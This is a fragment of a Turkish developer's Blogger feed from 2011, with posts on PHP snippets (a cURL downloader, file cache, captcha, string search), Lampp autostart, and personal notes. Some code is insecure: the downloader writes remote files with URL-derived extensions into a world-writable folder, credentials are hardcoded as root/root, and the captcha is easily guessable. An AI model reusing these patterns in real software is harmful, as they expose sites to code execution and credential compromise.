src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7311462608021919185</id><published>2011-12-10T07:20:00.001-08:00</published><updated>2011-12-20T14:29:31.631-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><title type='text'>Google grafik</title><content type='html'>Google blogunda duyurduğu grafikler ile sinus cosinus gibi trigonometrik terimleri arama çubuğuna yazarak grafik çıktısını anlık görüntüleyebiliyorsunuz.&lt;br /&gt;&lt;br /&gt;Kaynak;&lt;br /&gt;&lt;a href="http://insidesearch.blogspot.com/2011/12/showing-some-love-to-math-lovers.html"&gt;http://insidesearch.blogspot.com/2011/12/showing-some-love-to-math-lovers.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Örnek bir arama;&lt;br /&gt;&lt;b&gt;(sqrt(cos(x))cos(200 x)+sqrt(abs(x))-0.7)(4-x*x)^0.01, sqrt(9-x^2), -sqrt(9-x^2)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Yaptığı bu çalışma kimsenin aklına bile gelmezdi :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7311462608021919185?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7311462608021919185/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/google-grafik.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7311462608021919185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7311462608021919185'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/google-grafik.html' title='Google grafik'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-5404183745449591600</id><published>2011-12-10T01:02:00.001-08:00</published><updated>2011-12-20T14:29:41.464-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Linux - Lampp başlangıçta çalıştırma</title><content type='html'>Linux'da apache'nin otomatik başlamasını istiyorsanız, root girişi yaptıktan sonra aşağıda ki komutları çalıştırmanız yeterlidir.&lt;br /&gt;&lt;br /&gt;Not: &lt;a href="http://artiktek.blogspot.com/2011/05/linux-apache-php-mysql.html"&gt;Lampp&lt;/a&gt; kullandığım için lampp dizinini örnek verdim.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ln -s /opt/lampp/lampp /etc/rc2.d/S99lampp&lt;/b&gt;&lt;br /&gt;&lt;b&gt;ln -s /opt/lampp/lampp /etc/rc2.d/K01lampp&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-5404183745449591600?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/5404183745449591600/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/linux-lampp-baslangcta-calstrma.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5404183745449591600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5404183745449591600'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/linux-lampp-baslangcta-calstrma.html' title='Linux - Lampp başlangıçta çalıştırma'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7793658953090131740</id><published>2011-12-10T00:56:00.001-08:00</published><updated>2012-01-22T09:51:39.372-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - Curl dosya indirme</title><content type='html'>Curl ile dosyaları sunucunuza indirmeniz için yazdığım sınıf. &lt;b&gt;downloads &lt;/b&gt;diye bir dizin oluşturun ve chmod 777 verin.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?PHP&lt;br /&gt;/* Coded by Gökhan Kaya &amp;lt;artiktek@hotmail.com&amp;gt; */&lt;br /&gt;class downloadClass{&lt;br /&gt;    var $ext;&lt;br /&gt;    var $temp;&lt;br /&gt;    var $downs = 'downloads/';&lt;br /&gt;    &lt;br /&gt;    function download($url){&lt;br /&gt;        # -- uzantı adını alıyoruz -- #&lt;br /&gt;        $this-&amp;gt;ext = end(explode('.',$url));&lt;br /&gt;        # -- curl bağlantı -- #&lt;br /&gt;        $ch = curl_init($url);&lt;br /&gt;        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);&lt;br /&gt;        $this-&amp;gt;temp = curl_exec($ch);&lt;br /&gt;        curl_close($ch);&lt;br /&gt;        # -- kayıt işlemi -- #&lt;br /&gt;        if($this-&amp;gt;temp){&lt;br /&gt;            $this-&amp;gt;save();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    function save($fileUrl = './'){&lt;br /&gt;        # -- rasgele dosya ismi -- #&lt;br /&gt;        $rand = md5(rand(1111,9999));&lt;br /&gt;        $fileName = $this-&amp;gt;downs . $rand .'.'. $this-&amp;gt;ext;&lt;br /&gt;        # -- dosya yoksa --#&lt;br /&gt;        if (!file_exists($fileName)) {&lt;br /&gt;            $file = fopen($fileName,'a+');&lt;br /&gt;            # -- yaz --#&lt;br /&gt;            $yaz = fwrite($file, $this-&amp;gt;temp);&lt;br /&gt;            if($yaz){&lt;br /&gt;                echo 'File Downloaded... &amp;lt;br&amp;gt;'.$fileName;&lt;br /&gt;            }else{&lt;br /&gt;                echo 'File Not Download.';&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# -- kullanımı -- #&lt;br /&gt;$run = new downloadClass;&lt;br /&gt;$run -&amp;gt; download('http://www.indirbir.com/upload/7112.jpg');&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7793658953090131740?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7793658953090131740/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-curl-dosya-indirme.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7793658953090131740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7793658953090131740'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-curl-dosya-indirme.html' title='Php - Curl dosya indirme'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-4300812410833745367</id><published>2011-12-10T00:47:00.001-08:00</published><updated>2012-01-22T09:52:07.204-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - Html cache işlemi</title><content type='html'>Sitenizin ziyaretçi sayısı arttığı zaman ve veritabanınızın boyutu büyüdüğünde, mysql'iniz şişebilir. &amp;nbsp;1000 kişinin aynı anda sitenize girdiğini düşünelim, sayfamızdaki bütün sorgular sunucuda 1000 defa sorgulanır. Mysql bir süre sonra buna yanıt veremez ve çöker.&amp;nbsp;Bütün sorgularınız için cache fonksiyonları yazmanıza gerek yok. Sadece anasayfada gelen verileri (kasmaya yol açabilecek sorguları) bu cache sistemine bağladığınızda büyük bir performans gözlemleyebilirsiniz.&lt;br /&gt;&lt;br /&gt;Tam kodlar bu linktedir. Amaç sadece mantığı kavramanız..&amp;nbsp;&lt;a href="http://code.google.com/p/gcachephp/"&gt;http://code.google.com/p/gcachephp/&amp;nbsp;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;gCache.php source&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/**************************************************&lt;br /&gt; @Title     : gCache v1.0 (php file cache)&lt;br /&gt; @Author    : Gökhan KAYA&lt;br /&gt; @Website   : artiktek.blogspot.com&lt;br /&gt; @Email     : artiktek (at) hotmail.com&lt;br /&gt; @File Name : gCache.php v1.0&lt;br /&gt;***************************************************/&lt;br /&gt;class gCache{&lt;br /&gt;    &lt;br /&gt;    #cachenin yazılacağı dizin&lt;br /&gt;    var $cachePath = 'cache/';&lt;br /&gt;    #cache uzantımız&lt;br /&gt;    var $ext = '.gokhan';&lt;br /&gt;    &lt;br /&gt;    #cache dosyasını kontrol et&lt;br /&gt;    function getCache($file){&lt;br /&gt;        $file = $this-&amp;gt;cachePath.md5($file).$this-&amp;gt;ext;&lt;br /&gt;        #cache dosyası varsa&lt;br /&gt;        if (file_exists($file)){&lt;br /&gt;            #cache'yi ekrana bas&lt;br /&gt;            $this-&amp;gt;readCache($file);&lt;br /&gt;        #yoksa&lt;br /&gt;        }else{&lt;br /&gt;            #güncel cache dosyasını oluştur&lt;br /&gt;            $this-&amp;gt;createCache($file);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    #cache dosyasını oku&lt;br /&gt;    function readCache($file){&lt;br /&gt;        $openFile = fopen($file, "r");&lt;br /&gt;        $read = fread($openFile, filesize($file));&lt;br /&gt;        fclose($openFile);&lt;br /&gt;        echo $read;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    #cache dosyasını yarat&lt;br /&gt;    function createCache($file){&lt;br /&gt;        #veritabanından son verileri çek&lt;br /&gt;        $query = mysql_query("select * from news order by id desc");&lt;br /&gt;        $content = "";&lt;br /&gt;        while ($c = mysql_fetch_assoc($query)){&lt;br /&gt;            $content .= "&amp;lt;div class=\"title\"&amp;gt;".$c['title']."&amp;lt;/div&amp;gt;\n";&lt;br /&gt;            $content .= "&amp;lt;div class=\"desc\" align=\"justify\"&amp;gt;".$c['desc']."&amp;lt;/div&amp;gt;\n";&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        $openFile = fopen($file, "w");&lt;br /&gt;        fwrite($openFile, $content);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    #cache sil&lt;br /&gt;    function deleteCache($file){&lt;br /&gt;        $file = $this-&amp;gt;cachePath.md5($file).$this-&amp;gt;ext;&lt;br /&gt;        if (file_exists($file)){&lt;br /&gt;            @unlink($file);&lt;br /&gt;        }&lt;br /&gt;        #mevcut cache silindi ve güncel cache dosyası yazıldı.&lt;br /&gt;        $this-&amp;gt;createCache($file);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;index.php soruce&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/**************************************************&lt;br /&gt; @Title     : gCache v1.0 (php file cache)&lt;br /&gt; @Author    : Gökhan KAYA&lt;br /&gt; @Website   : artiktek.blogspot.com&lt;br /&gt; @Email     : artiktek (at) hotmail.com&lt;br /&gt; @File Name : index.php&lt;br /&gt;***************************************************/&lt;br /&gt;&lt;br /&gt;#veritabanına bağlan&lt;br /&gt;mysql_connect('localhost', 'root', 'root') or die ('Error: MySQL!');&lt;br /&gt;mysql_select_db('gcache') or die ('Error: Database!');&lt;br /&gt;&lt;br /&gt;#gCache kütüphanesi&lt;br /&gt;include 'gCache.php';&lt;br /&gt;$cache = new gCache;&lt;br /&gt;&lt;br /&gt;$process = @$_GET['process'];&lt;br /&gt;&lt;br /&gt;# cacheleri manuel olarak sil ve güncel olarak yaz&lt;br /&gt;if ($process == 'deleteCache') {&lt;br /&gt;    $cache-&amp;gt;deleteCache('home');&lt;br /&gt;    echo '&amp;lt;script&amp;gt;alert("Cache temizlendi.. Yeniden olusturuluyor..");&amp;lt;/script&amp;gt;';&lt;br /&gt;    echo '&amp;lt;script&amp;gt;location.href="index.php";&amp;lt;/script&amp;gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# anasayfadayız&lt;br /&gt;if ($process == ''){&lt;br /&gt;    #header şablonumuz&lt;br /&gt;    include_once 'libs/header.php';&lt;br /&gt;&lt;br /&gt;    #cache dosyasını ekranda görüntüle&lt;br /&gt;    $cache-&amp;gt;getCache('home');&lt;br /&gt;&lt;br /&gt;    #footer şablonumuz&lt;br /&gt;    include_once 'libs/footer.php';&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-4300812410833745367?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/4300812410833745367/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-html-cache-islemi.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4300812410833745367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/4300812410833745367'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-html-cache-islemi.html' title='Php - Html cache işlemi'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8412341148173885535</id><published>2011-12-10T00:36:00.001-08:00</published><updated>2012-01-22T09:52:31.837-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - Değişkende arama yapmak</title><content type='html'>Php'de string bir değişkende istenilen kelimeyi bulmanız için bir fonksiyon var fakat istediğiniz gibi çalışmıyor. Kullanınca görürsünüz. Oyüzden ufak bir fonksiyon yazdım.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/* kodlama by Gökhan KAYA &lt;br /&gt;   &amp;lt;artiktek@hotmail.com&amp;gt; &lt;br /&gt;*/&lt;br /&gt;function ara($neyde,$ne){&lt;br /&gt;    $data = array();&lt;br /&gt;    $sayac = 0;&lt;br /&gt;    &lt;br /&gt;    for ($i=0;$i&amp;lt;strlen($neyde);$i++){&lt;br /&gt;        &lt;br /&gt;        if ($neyde[$i]==$ne){&lt;br /&gt;            $data[$sayac] = $i;&lt;br /&gt;            $sayac++;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return $data;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* kullanımı */&lt;br /&gt;$kelimeler = ara('izmirliyizzz','z');&lt;br /&gt;&lt;br /&gt;echo "&amp;lt;pre&amp;gt;";&lt;br /&gt;print_r($kelimeler);&lt;br /&gt;echo "&amp;lt;/pre&amp;gt;";&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;foreach ($kelimeler as $key=&amp;gt;$value){&lt;br /&gt;    echo $value;&lt;br /&gt;}&lt;br /&gt;*/&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8412341148173885535?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8412341148173885535/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-degiskende-arama-yapmak.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8412341148173885535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8412341148173885535'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-degiskende-arama-yapmak.html' title='Php - Değişkende arama yapmak'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7307909033238361465</id><published>2011-12-10T00:25:00.001-08:00</published><updated>2012-01-22T09:52:44.453-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php captcha (güvenlik kodu)</title><content type='html'>Eski blogumda yayınlamış olduğum paylaşımlardan bir kaç tanesini burada da yayınlamaya karar verdim. Sitenizde xcsrf saldırılarını ve botların sitenize anlamsız mesajlar göndermesini engellemeniz için kullandığınız formlara güvenlik kodu doğrulamasını ekleyebilirsiniz. Bu tarz işlerde kullandığım ufak bir captcha kodu.&lt;br /&gt;&lt;br /&gt;captcha.php dosyasını normal resim taglarının içerisine ekleyerek çalıştırabilirsiniz. Kullanımı ise;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;if ( $_SESSION['gk'] == $_POST['gk'] ) &lt;/b&gt;bu şekilde olacak.&lt;br /&gt;&lt;br /&gt;Önemli Not: Gd kütüphanesi gerektirir. Aktif değil ise, php.ini'den aktif edebilirsiniz.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;--[captcha.php]--&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt; * coded by Gökhan Kaya&lt;br /&gt; * &amp;lt;img src="captcha.php" /&amp;gt;&lt;br /&gt; * if ($_SESSION['gk'] == $_POST['gk'])&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;//olusturulmus resmi tarayiciya gonderir&lt;br /&gt;session_start();&lt;br /&gt;//md5 ile rastgele sayi uretelim&lt;br /&gt;$md5 = md5(rand(0,999));&lt;br /&gt;//32 karakter yerine sadece 5 karakterini aliyoruz&lt;br /&gt;$pass = substr($md5, 10, 5);&lt;br /&gt;&lt;br /&gt;$_SESSION['gk'] = $pass;&lt;br /&gt;&lt;br /&gt;//resmin boyutlarini ayarliyoruz&lt;br /&gt;$width = 55;&lt;br /&gt;$height = 20;&lt;br /&gt;&lt;br /&gt;//resim kaynagini olusturuyoruz&lt;br /&gt;$image = imagecreate($width, $height); &lt;br /&gt;&lt;br /&gt;//Beyaz siyah ve gri renklerini olusturuyoruz&lt;br /&gt;$white = imagecolorallocate($image, 255, 255, 255);&lt;br /&gt;$black = imagecolorallocate($image, 0, 0, 0);&lt;br /&gt;$grey = imagecolorallocate($image, 204, 204, 204);&lt;br /&gt;&lt;br /&gt;//Zemini siyah yapiyoruz&lt;br /&gt;imagefill($image, 0, 0, $white);&lt;br /&gt;//Rastgele sayiyi resmin uzerine yaziyoruz&lt;br /&gt;imagestring($image, 5, 4, 2, $pass, $black);&lt;br /&gt;&lt;br /&gt;//resme birkac cizgi koyuyoruz&lt;br /&gt;#ImageRectangle($image,0,0,$width-1,$height-1,$grey);&lt;br /&gt;#imageline($image, 0, $height/2, $width, $height/2, $grey);&lt;br /&gt;#imageline($image, $width/2, 0, $width/2, $height, $grey); &lt;br /&gt;&lt;br /&gt;//sunucuya resmin turunu belirtiyoruz&lt;br /&gt;header("Content-Type: image/jpeg"); &lt;br /&gt;&lt;br /&gt;//Yeni jpeg formatindaki resmin ciktisini aliyoruz&lt;br /&gt;imagejpeg($image);&lt;br /&gt;&lt;br /&gt;//Kaynagi temizliyoruz&lt;br /&gt;imagedestroy($image);&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7307909033238361465?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7307909033238361465/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-captcha-guvenlik-kodu.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7307909033238361465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7307909033238361465'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-captcha-guvenlik-kodu.html' title='Php captcha (güvenlik kodu)'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-2160900068101539572</id><published>2011-12-09T08:20:00.001-08:00</published><updated>2011-12-20T14:30:49.841-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Elveda facebook!</title><content type='html'>&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-2VpEtmvmkhg/TuI4HNVu2DI/AAAAAAAAAGo/r6XtzEWq1iA/s1600/bye_bye_facebook_tGFDk.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-2VpEtmvmkhg/TuI4HNVu2DI/AAAAAAAAAGo/r6XtzEWq1iA/s1600/bye_bye_facebook_tGFDk.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Facebook hesabımı donduralı 2 gün oldu. Listemde ekli olan tüm arkadaşlarımın bu blogu bulacağına eminim. Eğer o bulanlardan birisi isen burdan takip etmeye devam et beni! Eskiden facebook' mu vardı ? ehehehe :D&lt;br /&gt;&lt;br /&gt;Bu arada, twitter hesabım'da yok!{artiktek isminde başka birisi kullanıyor.} Sosyal medya aldı başını gitti ayak uydurmamak en iyisi! ayak uydurcam diye maymun olmaya &amp;nbsp;hiç gerek yok. eheheh :D&lt;br /&gt;&lt;br /&gt;Şaka bir tarafa cidden yokum lan. Olmucamda. Beni artık yazdığım blog yazılarından hatırlarsınız. Arada bir msn'e girerim. Pek sık değilde belki.. İleride facebook hesabımı tekrar aktif edebilirim. Facebook yeniliklerini merak ettiğimden dolayı.&lt;br /&gt;&lt;br /&gt;Hadi kalın sağlıcakla!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-2160900068101539572?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/2160900068101539572/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/elveda-facebook.html#comment-form' title='3 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2160900068101539572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2160900068101539572'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/elveda-facebook.html' title='Elveda facebook!'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-2VpEtmvmkhg/TuI4HNVu2DI/AAAAAAAAAGo/r6XtzEWq1iA/s72-c/bye_bye_facebook_tGFDk.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-737338007448039144</id><published>2011-12-07T07:09:00.001-08:00</published><updated>2012-01-30T06:24:39.235-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='müzik'/><title type='text'>Söylese O Ben Söyleyemem</title><content type='html'>Anlatacak o kadar çok şey var ki?? Her gün dinleyip kendimi buluyorum. Şarkıyı dinleyip keyfinizi çıkarın ;)&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/sDaOABejARo" width="530"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-737338007448039144?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/737338007448039144/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/soylese-o-ben-soyleyemem.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/737338007448039144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/737338007448039144'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/soylese-o-ben-soyleyemem.html' title='Söylese O Ben Söyleyemem'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/sDaOABejARo/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6535056859436417069</id><published>2011-05-22T04:45:00.000-07:00</published><updated>2012-01-22T09:52:59.972-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - Tc kimlik numarası</title><content type='html'>Bildiğiniz üzere tc. numaraları belirli bir algoritmaya göre  oluşturulmuştur. Tc numarasının doğru olup olmadığı şu şekilde kontrol  ediliyor;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;11 hanelidir ve her hanesi rakamsal değer olmalıdır,&lt;/li&gt;&lt;li&gt;İlk 9 basamak ile kurulan algoritma bize 10. haneyi, ilk 10 basamak ile kurulan algoritma bize 11. haneyi veriyor.&lt;/li&gt;&lt;li&gt;İlk hane 0 olamaz.&lt;/li&gt;&lt;li&gt;1. 3. 5. 7. ve 9. basamakların toplamının 7 katının, 2. 4. 6. ve 8.  basamakların toplamı çıkartıldığında, elde edilen sonucun 10'a bölümü  yani mod10'u bize 10. haneyi verir&lt;/li&gt;&lt;li&gt;1. 2. 3. 4. 5. 6. 7. 8. 9. ve 10. basamakların toplamından elde edilen sonucun 10'a bölümü yani mod10'u bize 11. haneyi verir.&lt;/li&gt;&lt;/ol&gt;Bu algoritmayı php'de fonksiyon olarak yazalım.&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt;&amp;nbsp;* Coded by Gökhan KAYA&lt;br /&gt;&amp;nbsp;* artiktek.blogspot.com&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;function tcNo($number)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* girilen numara 11 karakter mi? */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (strlen($number) != 11){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br 